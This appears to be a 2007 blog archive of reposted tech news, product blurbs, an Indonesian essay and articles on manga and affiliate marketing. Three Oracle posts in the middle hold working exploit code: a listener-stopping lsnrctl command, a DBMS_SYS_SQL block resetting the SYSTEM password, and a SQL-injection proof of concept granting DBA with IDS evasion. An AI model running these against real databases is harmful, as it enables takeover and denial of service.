Boothe4EveR

View your history in thumbnails with ThumbStrips

2007-06-29T14:30:00.001+07:00

Windows with Firefox only: The ThumbStrips Firefox extension displays your browsing history in a filmstrip-style series of thumbnail images.

You can browse your ThumbStrips history by clicking the statusbar icon to toggle the ThumbStrips view, then using your mouse to intuitively move back and forth through the history, filtering by sites visited or by live keyword searching. If you don't want ThumbStrips to record for a while, you can start and stop recording at any time. ThumbStrips is free to download, works only with Windows and Firefox.

ThumbStrips [Firefox Add-ons]

Sync your Firefox extensions and profiles across computers

2007-06-27T07:35:00.001+07:00

Since the dawn of time, humanity has longed for a simple way to sync Firefox extensions, themes, bookmarks, and saved passwords between computers so that no matter where you're working, your browser is customized in the exact same way. The solution comes in the form of the Microsoft-owned folder syncing and sharing tool, FolderShare.

Verily I say unto you, I have seen the road to synchronization! The solution comes in the form of the Microsoft-owned folder syncing and sharing tool, FolderShare. It requires a small sacrifice, but in exchange you'll receive the complete automated extension sync we've all been dying for for. Hit the jump to find out how.

The great thing about this method is that not only does it sync all of your extensions, but it also syncs almost all of your profile data. That means that your browsing session, bookmarks, themes, saved passwords, about:config settings, search engines, Greasemonkey scripts, etc. will all sync as well. What's more, this method works across both Windows and Mac (sorry Linux users). Sounds pretty good, right? Let's dive in.

In a nutshell, each time you install a new extension on one machine (or add a bookmark, etc.), FolderShare will distribute those changes across every computer that's running FolderShare. Once you've set up Firefox synchronization with FolderShare, whenever you run Firefox on Computer A, all of the application data that Firefox uses during that browsing session will be synced to Computer B, C, etc. When you fire up Firefox on one of those computers, it'll be using the most recent application data, including the latest extensions you've installed.

Hacker Posts Possible Harry Potter Spoiler, Illustrating Corporate Vulnerabilities

2007-06-22T11:51:00.001+07:00

An anonymous hacker claims to have used computer magic to peer through the extreme secrecy surrounding the ending of the Harry Potter saga and posted online unverified details from the soon-to-be released final book in best-selling series.

The hacker, posting under the handle Gabriel, claims to have gotten a copy of the seventh and final installment of the blockbuster Harry Potter series that chronicles the adventures of a child magician by hacking into Bloomsbury, the series' London-based publisher.
Gabriel said he wanted to spoil the ending to Harry Potter and the Deathly Hallows to protect people from its "Neo Paganism" and was able to get into the publisher's computer network by convincing an Bloomsbury employee to open an email with malware attached.

"We make this spoiler to make reading of the upcoming book useless and boring," Gabriel wrote (Alert: Possible Spoiler Link)."It's amazing to see how much people inside the company have copies and drafts of this book."

In advance of the novel's July 21 publishing date, fans have been rabidly debating which characters the series' author J.K. Rowling might kill off.

The hacker made the claim and posted some plot details Tuesday to a security mailing list called Full Disclosure, which is re-posted on insecure.org, a website run by a white hat hacker known as Fyodor.

However, no portions of the novel were posted, casting doubt on the veracity of the claim.

Kyle Good, a spokeswoman for the book's U.S. publisher Scholastic, said she could not verify the plot details, saying there is a lot of material on the internet claiming to be from the book.
"Anyone can post anything on the internet and you can't always believe what you read," Good said. "The only way to know for sure is to read the book on July 21."

However, the claimed method of attack – known as spear phishing – is completely believable, according to Rick Wesson and Adam Waters, the top officers at the computer security firm Support Intelligence.

"This is being used against the State Department often," Wesson said. "This is how you steal any kind of intellectual property."
"We have so lost fundamental trust [in the security of networks] we can't tell if the story is true or not," Waters added. "Say it was a corporation's financial numbers for next month -- you could move a market with that information."

Even if the hack happened and the plot details are proven, the revelations are unlikely to affect the sales of the book, given the series' intensely loyal fan base.

But Wesson and Waters say the story illustrates that secrets – including copies of unreleased movies, policy statements by politicians and Federal Reserve announcements – are extremely vulnerable to targeted external attacks from hackers who can find their way into a corporate network as easily as sending an email to a summer intern.

Mesothelioma

2007-06-19T13:00:00.001+07:00

Mesothelioma is a form of cancer that is almost always caused by previous exposure to asbestos. In this disease, malignant cells develop in the mesothelium, a protective lining that covers most of the body's internal organs. Its most common site is the pleura (outer lining of the lungs and chest cavity), but it may also occur in the peritoneum (the lining of the abdominal cavity) or the pericardium (a sac that surrounds the heart).

Most people who develop mesothelioma have worked on jobs where they inhaled asbestos particles, or have been exposed to asbestos dust and fibre in other ways, such as by washing the clothes of a family member who worked with asbestos, or by home renovation using asbestos cement products. Talc mined in upstate New York has been associated with causing mesothelioma. Unlike lung cancer, there is no association between mesothelioma and smoking

MPack Trojan Attack Claims 10,000 Web Sites

2007-06-19T10:05:00.000+07:00

Researchers at Trend Micro are reporting that as many as 10,000 Web sites have been infected with malicious code that redirects unsuspecting users to a server booby-trapped with drive-by exploits—part of a wave of attacks originating in Italy and now spreading through Europe.

Dubbed the "Italian Job" by Trend Micro, the attack was first uncovered June 15. Legitimate sites were hacked to include a malicious iFrames tag redirecting visitors to servers armed with a tool called MPack, an exploit tool that can target security holes in multiple products.

According to Trend Micro, once a user visits any of the compromised Web sites, the affected computer is directed to another IP address that contains the malicious JavaScript detected by the company as JS_DLOADER.NTJ.

The JavaScript attempts to exploit a buffer overflow vulnerability in unpatched browsers to download TROJ_SMALL.HCK, company officials said.

Since June 15, the number of sites affected by the attack has multiplied several times over, said David Perry, global director of education for Trend Micro, based in Cupertino, Calif.

"There are already somewhere between 5,000 and 10,000 Web sites affected by this," Perry said. "There's nothing that all these Web sites have in common. I'm calling it a Web-idemic."

According to Websense, based in San Diego, the regions most affected by the situation have been Italy and Spain.

In a blog posting June 15, Symantec researcher Elia Florio advised Italian users to update their anti-virus products and make sure all the recent patches are installed on their machines.

Windows Live Writer

2007-06-18T13:13:00.001+07:00

Windows Live Writer is a desktop application that makes it easy to publish rich content to your blog.

Compatible with your blog service
Writer can publish to Windows Live Spaces, SharePoint, WordPress, Blogger, LiveJournal, TypePad, Moveable Type, Community Server, and many other weblog services.

WYSIWYG editing
Writer knows your blog's visual theme. So you can see exactly what your posts will look like as you write them, before you publish. No more wasting time previewing your posts online.

Rich media publishing
Writer makes publishing rich media as easy as sending e-mail. Insert and customize photos, maps, tags, and lots of other cool content—then click the “Publish” button. It’s that easy.

Powerful editing features
Creating compelling blog posts is much easier with the ability to insert and edit tables, check spelling as you type, and format and hyperlink content at your fingertips.

Offline editing
Now you can blog anytime, from anywhere. Writer synchronizes drafts on your blog with changes you make when you're offline, so you don't have to worry about reconciling different versions.

Nasib Indonesia ku

2007-06-08T08:11:00.000+07:00

Tahun ini adalah 10 tahun peringatan dan sekaligus “perayaan” peristiwa keterpurukan bangsa dan negara kita pada krisis multi dimensi. Dikatakan peringatan karena kita memang mengingat peristiwa yang terjadi 10 tahun yang lalu, sedangkan dinyatakan sebagai “perayaan” karena sampai saat inipun kita masih berada dalam keterpurukan itu. Issue penggantian para menteri mewarnai spekulasi bahwa saat ini negara kita berada di pintu gerbang kedua terjadinya krisis ekonomi. Beberapa waktu belakangan ini media massa juga tidak ketinggalan untuk menganalisis kondisi keuangan dan ekonomi negara yang kadang membuat miris pembaca dan pemirsanya.

Sementara negara tetangga yang bersama mengalami krisis, sudah bangkit kembali bahkan berkembang – ternyata negara kita masih terseok-seok menata diri seolah masalah itu tidak akan pernah berakhir. Entah karena sombong, malas, mementingkan diri sendiri, kombinasi ketiganya, atau masalah yang lain, ternyata Negara Indonesia dinyatakan lamban untuk belajar dari negara lain – semisal Thailand dan Malaysia – dalam mengatasi krisis negaranya. Rakyat Thailand memercayai raja mereka dan bersatu padu rela menyerahkan seluruh emas mereka kepada negara untuk memperkuat perekonomian mereka. Malaysia memlih untuk tidak tunduk kepada IMF dan sekuat tenaga memberdayakan sumber dalam negerinya. Indonesia juga tidak mau belajar dari Cina di dalam memberantas korupsi dengan menindak tegas koruptor.

Belum lagi masalah penanggulangan banjir seperti yang terjadi di Jakarta Pebruari 2007 ini, Indonesia juga tidak mau belajar dari Negara Belanda yang sejak mula dikenal sebagai “The Netherland” yang berarti “tanah-tanah di bawah (permukaan) laut”. Untuk masalah ini Negara Thailand sudah belajar dari Belanda sejak tahun 1800-an, bahkan Jepang juga sudah belajar tentang tanggul dan kanal-nya Belanda sejak tahun 1890-an. Di negara kita, ternyata mudah saja mencari Kambing Hitam terjadinya banjir. Mulai ungkapan “ini hal biasa karena siklus 5 tahunan”, sampai di DPR pun diketemukan penyebabnya adalah tidak adanya 3 Undang-undang, yaitu UU Pemerintahan Ibukota, UU Tata Ruang, dan UU Bencana Alam. Lha wong banjir kok dilawan dengan rapat membentuk Undang-undang.

Dengan sedih harus diakui bahwa Negara Indonesia adalah negara yang lamban untuk belajar. Namun........... bagaimanapun, inilah Tanah Air, Bangsa dan Negara kita. Lalu.......?

Yah.... sekedar menyadarkan adanya fakta penilaian ini, dan tentunya ingin mengajak “berbuat sesuatu” supaya janganlah kita juga kedapatan ternyata adalah pelaku budaya belajar lamban ini. Apakah kita juga mampu belajar dengan cepat?

Oracle Files Amended Complaint Against SAP

2007-06-04T11:49:00.000+07:00

Oracle today filed its First Amended Complaint in federal District Court in San Francisco in its lawsuit against SAP. Oracle added federal Copyright Infringement claims and Breach of Contract claims to many of the original claims asserted, including violations of the Federal Computer Fraud and Abuse Act, violations of the state Computer Data Access and Fraud Act, Unfair Competition, and Intentional and Negligent Interference with Prospective Economic Advantage.

Oracle alleges that SAP engaged in a deliberate, systematic and illegal scheme to access, copy, use and distribute Oracle's copyrighted software products and related materials, in violation of federal and state law. The suit seeks to stop SAP's unauthorized and illegal activity and prevent future violations and to recover damages related to the violations. A copy of the amended complaint can be located at: www.oracle.com/sapsuit.

The Rise of Japanese Manga Japan

2007-05-24T13:08:00.000+07:00

Japan has become the world leader in comics. Japanese manga, as comics are called here, have been publicized the world over on television and in newspapers and the most popular works have been introduced abroad both through legal and pirate translations. But despite these efforts, they remain insufficient for foreign audiences wishing to acquire a comprehensive understanding of the genre. In the months that follow I intend to give a wide-ranging introduction to Japanese manga based on theme, but before I do I should like to begin with an overview of the basics.

There are a great number of magazines in Japan devoted exclusively to manga but it is difficult to give an exact accounting of their number given that it is not at all uncommon for smaller publishing houses to bring out one new magazine after another under different titles. The core of the manga publishing industry consists of some 13 weekly manga magazines published by the major publishers alone, along with 10 biweeklies, and approximately twenty influential monthlies. At any given time there are at least ten magazines which boast over one million copies of each issue. At most there is one non-manga magazine in Japan which can claim a readership of over one million.

Yearly sales of manga throughout the 1990's have been in the neighborhood of 600 billion yen, including 350 billion in magazine sales and 250 billion in paperbacks. These figures do no not include sales of manga appearng in general magazines and newspapers. The total sales of published material in Japan (including magazines and books but excluding newspapers) is two trillion five-hundred billion yen, of which manga sales account for nearly one quarter. Given a total Japanese population of 120 million, we can calculate that the average Japanese spends approximately 2,000 yen per year on manga in one form or another.

The three largest publishing houses producing manga are Kodansha, Shogakkan, and Shueisha. In addition there are some ten odd publishing firms which come in at a close second, including Akita Shoten, Futabasha, Shonen Gahosha, Hakusensha, Nihon Bungeisha, and Kobunsha. This is not even to mention the countless other small-scale publishing firms. The larger publishers mentioned above also publish magazines and books in areas outside of manga.

It is estimated that there are around 3000 professional manga artists in Japan. All of these individuals have published at least one volume of manga, but most of them make their living as assistants to famous manga artists or have some other supplementary source of income. Only 300 of these, or ten percent of the total, are able to make an above-average living from manga alone. In addition, there are also a great number of amateur manga artists who produce small magazines intended for private circulation, called dojinshi

Making Money online by building a Website

2007-05-24T10:02:00.000+07:00

Do you have a website? and want make them all as a money machine?
Making Money online using your PC which is connected to the Internet at home by building a Website has never been easier. When you build a Website that has enough visitors, say 1000 visitors per day, you can make decent money from Affiliate programs and advertising agencies who advertise for their clients and look for publishers, ie Websites on the Internet.

Work from home, make money from your Website, join affiliate programs, get paid to take online surveys, get paid by reading email, get paid by surfing the Web, money making tutorials, earn revenue by placing ads on your Website, advertisement programs, get a fee to refer customers, receive commission for offering custom builds, etc.

Affiliate Programs (or Associates as some programs call them) make money by referring their site's visitors to the Affiliate program Website (e.g. amzon.com). Your site will be provided with a special ID and whenever a visitor of you site clicks on the affiliate ad, that ID is passed to the Affiliate program manager. Now, how you get paid differs from Affiliate to another.

Some Affiliates pay you when your visitors buy products from their sites, others, pay you for clicking on ads shown at your site.

This site will help you build your online business by showing you how and where to start this new invention in your life. We recommend assessing your own capabilities of building a Website, investigate buying one if your skills or more with marketing rather than technical.

Oracle Exploit stop TNS Listener via lsnrctl

2007-05-24T09:26:00.000+07:00

If a TNS listener is not password protected everybody can stop the TNS listener (Denial of Service) by sending a STOP command to the TNS listener. This can be done with the lsnrctl command, the tnscmd perl script or via tnsnames.ora.

Even if your TNS listener is protected by a firewall and only accessible via HTTP (e.g. from an application server) it is possible to shutdown the listener,e .g. via iSQLPlus or Oracle Forms, Oracle Reports ...

Example
-- use the IP addess of the database server
lsnrctl stop 192.22.33.44

Solution
Protect your TNS Listener with a password and ADMIN_RESTRICTIONS in the listener.ora

Become DBA via Oracle DBMS_SYS_SQL in Oracle 8i / 9i / 10g

2007-05-24T09:22:00.000+07:00

The following test case is from Oracle itself. A test case is nothing else than an exploit or proof of concept code. This test case allows to become DBA if the permission on DBMS_SYS_SQL are granted . By default only XDB has execute permission. Sometimes PORTAL30, PORTAL30_SSO and OAS_PUBLIC has also execute permission on DBMS_SYS_SQL.

Metalink note 112271.1 gives the following advice:

grant execute privileges on DBMS_SYS_SQL to the (default user) OAS_PUBLIC.

BE CAREFUL DOING THIS...

Example
declare
uid number;
sqltext varchar2(100) := 'alter user system identified by hacker';
myint integer;

begin
select user_id into uid from all_users where username like 'SYSTEM';

myint:=sys.dbms_sys_sql.open_cursor();
sys.dbms_sys_sql.parse_as_user(myint,sqltext,dbms_sql.native,UID);

sys.dbms_sys_sql.close_cursor(myint);
end ;
/

Solution
Never grant DBMS_SYS_SQL to public.

SQL Injection via OracleKUPV$FT in Oracle 10g R1 with IDS evasion

2007-05-24T09:13:00.000+07:00

The following proof of concept exploit code injects code for a privilege escalation (grant dba to public) via a cursor. The cursor is executed in the SYS context and grants the DBA permission to public and revokes the privileges directly after that. The advantage of this approach is that the current session has still DBA privileges but this is not visible in the Oracle view DBA_ROLE_PRIVS.

If you compare this exploit code with the exploit from Andrea Purificato you will see that this exploits has less prerequisites (perl is not required, works via isqlplus, smaller and IDS evasion)

Example -- with IDS evasion --
/

SQL> DECLARE
MYC NUMBER;
MYB BOOLEAN;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,translate('uzikpsz fsprjp pnmghgjgna_msphapimwgh) ozrwh zczinmz wjjzuwpmz (rsphm uop mg fnokwi()igjjwm)zhu)',
'poiuztrewqlkjhgfdsamnbvcxy()=!','abcdefghijklmnopqrstuvwxyz'';:='),0);
MYC:=SYS.KUPV$FT.ATTACH_JOB('',''' AND 1=dbms_sql.execute ('||myc||')--',myb);
END;
/

SQL> set role dba;

SQL> revoke dba from public;

SQL> select * from dba_role_privs where granted_role='DBA';

GRANTEE GRANTED_ROLE ADM DEF
------------------------------ ------------------------------ --- ---
SYS DBA YES YES
WKSYS DBA NO YES
SYSMAN DBA NO YES
SYSTEM DBA YES YES

Solution
Apply the patches mentioned in Oracle Critical Patch Update January 2006.

Hackers Exploit Windows DNS Vulnerability

2007-05-23T10:37:00.000+07:00

According to I.T. security Relevant Products/Services firm Sophos, a worm is exploiting an unpatched zero-day vulnerability in the DNS services of several Windows operating systems.

Also known as Nirbot or Rinbot, the W32/Delbot-AI worm is taking advantage of a vulnerability in the way the Windows DNS Server's Remote Procedure Call (RPC) interface has been implemented. The hackers' worm has been able to exploit the flaw by sending a specially crafted RPC packet to vulnerable servers.

If the worm successfully infects a server, it allows hackers to gain control over the computer, giving them the ability to determine what it does and steal information from unsuspecting users. The worm also can exploit an old vulnerability present in Symantec's antivirus product line, which was patched a year ago.

Laying in Wait

Several security vendors have issued a workaround patch, but word from Microsoft Relevant Products/Services on an official patch is sketchy.

"While we don't have a firm estimate on when we'll complete our development and testing of updates for this issue, we have teams around the world working on it 24 hours a day, and hope to have updates no later than May 8, 2007, for the May monthly bulletin release," Chris Budd, of the Microsoft Security Response Center, wrote in the corporate blog.

This flaw in Microsoft's code has only been known for a handful of days, and already there is a worm that is taking advantage of the problem in its attempt to infect as many computers as possible, noted Graham Cluley, senior technology consultant for Sophos.

"Time and time again hackers are forcing companies like Microsoft to scramble around to develop, test, and roll out a software patch," Cluley said in a statement. "Businesses should ensure that their computers are properly configured, and protected with up-to-date antivirus software, hardened firewalls, and patches."

A Watching Eye

The computer underground appears to be reveling in waiting until Microsoft has released its monthly batch of patches before unleashing its latest attacks, continued Cluley. "Microsoft will not be enjoying having the security of their software brought into question again," he concluded.

While the current worm exploits are unsophisticated, there is considerable danger that more sophisticated attacks could be in the works, according Paul Zimski, PatchLink's director of product and market strategy. PatchLink, whose customers include KPMG, Wells Fargo, and Yahoo, has issued an emergency patch ahead of the official Microsoft fix.

"The DNS servers are a particularly high-value target because a hacker that 'owns' DNS servers can do a 'man in the middle' attack," Zimski said. "While this attack isn't going to hit every desktop, it is very serious."

Oracle Buys Agile in Chess Game with SAP

2007-05-23T10:20:00.000+07:00

Enterprise solutions giant Oracle announced Tuesday that it is enlarging its corporate family with the purchase of Agile Software, a company that provides product-lifecycle management (PLM) software.

The acquisition is yet another that Oracle has made in the past few years, buying companies, such as PeopleSoft, to expand its suite of enterprise solutions and to position itself in its rivalry with SAP Relevant Products/Services.

The Agile deal involves a cash merger of $8.10 per share, worth about $495 million.

Managing Products

Engineers, manufacturing, and supply-chain professionals use Agile's solutions to collaborate across the supply chain and to help manage product innovation and product introductions.

The company said in a statement that its products "help customers make better product portfolio decisions, accelerate new product introduction, improve manufacturing quality, and manage regulatory compliance." Regulation compliance includes following rules from the U.S. Food and Drug Administration and the European Union, among others.

The addition of PLM to its suite of enterprise tools will help Oracle further its "strategy of delivering industry-specific enterprise applications," Oracle President Charles Phillips said in a statement. He added that PLM was "one of the fastest growing application segments" and that Agile will "serve as the foundation of our PLM offering."

In an indication of the move's importance in the corporate chess game with SAP, Phillips said that the purchase will "offer yet another strategic application to SAP customers."

SAP's Own Buying Spree

SAP has been on its own strategic buying spree as it also fills out its suite of enterprise solutions. On Monday, it announced that it intended to acquire MaXware and Wicom Communications.

Wicom provides contact center and other business communication software that is entirely IP-based. The current worldwide business environment, SAP said, involves customers connecting through many channels, and the Wicom acquisition can "deliver a multichannel, all-IP, end-to-end contact center solution, integrating communication processes into customer service."

MaXware, this week's other announced purchase by SAP, currently provides services to about 300 customers worldwide. It offers identity management as a service, specializing in standards-based accessibility to confidential information that could reside in several repositories. In particular, it provides identity management in a service-oriented architecture (SOA) world, where a person can have access to many applications across several layers, sometimes only temporarily.

And, last week, SAP announced it is buying OutlookSoft, a performance-management software company.

The Oracle-SAP rivalry extends beyond just competing acquisitions. In March, Oracle sued SAP for stealing copyrighted software. The 43-page suit, filed in U.S. District Court in San Francisco, claimed that the German company repeatedly obtained unauthorized access to its password-protected Web site, using customers' access codes.

IBM Launches Fastest Processor Ever

2007-05-23T10:06:00.000+07:00

IBM broke another chip record Monday and played to its strength in high-performance servers, launching the dual-core Power6 processor. Running at 4.7 GHz, the Power6 is twice as fast as the previous generation of Power5 processors, and is being called the fastest microprocessor ever made.

The Armonk, New York-based company said that the 65-nm Power6 chip uses about the same amount of electricity as its predecessor, meaning that data centers can cut their power use for the same performance, or double the performance at the same power.

The Power6 has a processor bandwidth of 300 GB/sec, Big Blue said, noting that this rate could allow the entire iTunes catalog to be downloaded in 60 seconds. According to IBM, that speed is some 30 times faster than the iTunes-downloading capability of the Intel Itanium processor, which peaks at 1.66 GHz.

IBM's Big Iron Heritage

This kind of "big iron" is IBM's heritage, said Martin Reynolds, an analyst with industry research firm Gartner. The Power6 strengthens IBM's strong position for very high-performance microprocessors for data centers, he said, where Big Blue remains in first place ahead of Sun and Hewlett-Packard.

At the same time that the Power6 was launched, IBM introduced a new 2- to 16-core server, called the IBM System p 570. That server, using the new Power6 chip, placed first in four common Unix benchmarks that measure integer calculations common in business, floating-point calculations used in scientific research, Java performance, and transaction processing.

"This is the first time that a single system has owned all four categories," IBM said.

Green Technology

Electrical power and cooling requirements for data centers are increasingly important issues. The new chip is being touted in some quarters as "green" technology because of its ability to offer faster speeds without drawing more electricity than the earlier Power chips.

Additionally, when the full capabilities of the Power6 are not being used, the chip can be dynamically scaled down and then restored when needed. The chip design also allows it to operate at low voltages, so it can be used in low-power blade servers as well as other environments.

Reynolds expressed reservation about how much power will actually be saved, although he did note that one area of conservation might be that tasks formerly requiring many servers could now be consolidated. IBM claims that the workload of 30 SunFire v890 servers can now be accommodated by one System p 570.

The processing capability of the new chip is due to several advances, IBM said, including a balanced scaling of cache sizes. "The Power6 chip has a total cache size of 8 MB per chip -- four times the Power5 chip," the company said. This allows data to be fed "to the chip at a rate that takes advantage of the processor's speed."

Other firsts that IBM cited include the Power6 being the first Unix microprocessor that uses hardware Relevant Products/Services calculation for decimal floating-point arithmetic. Previously executed in software, this kind of calculation impacts the processing of complex tax or other financial programs.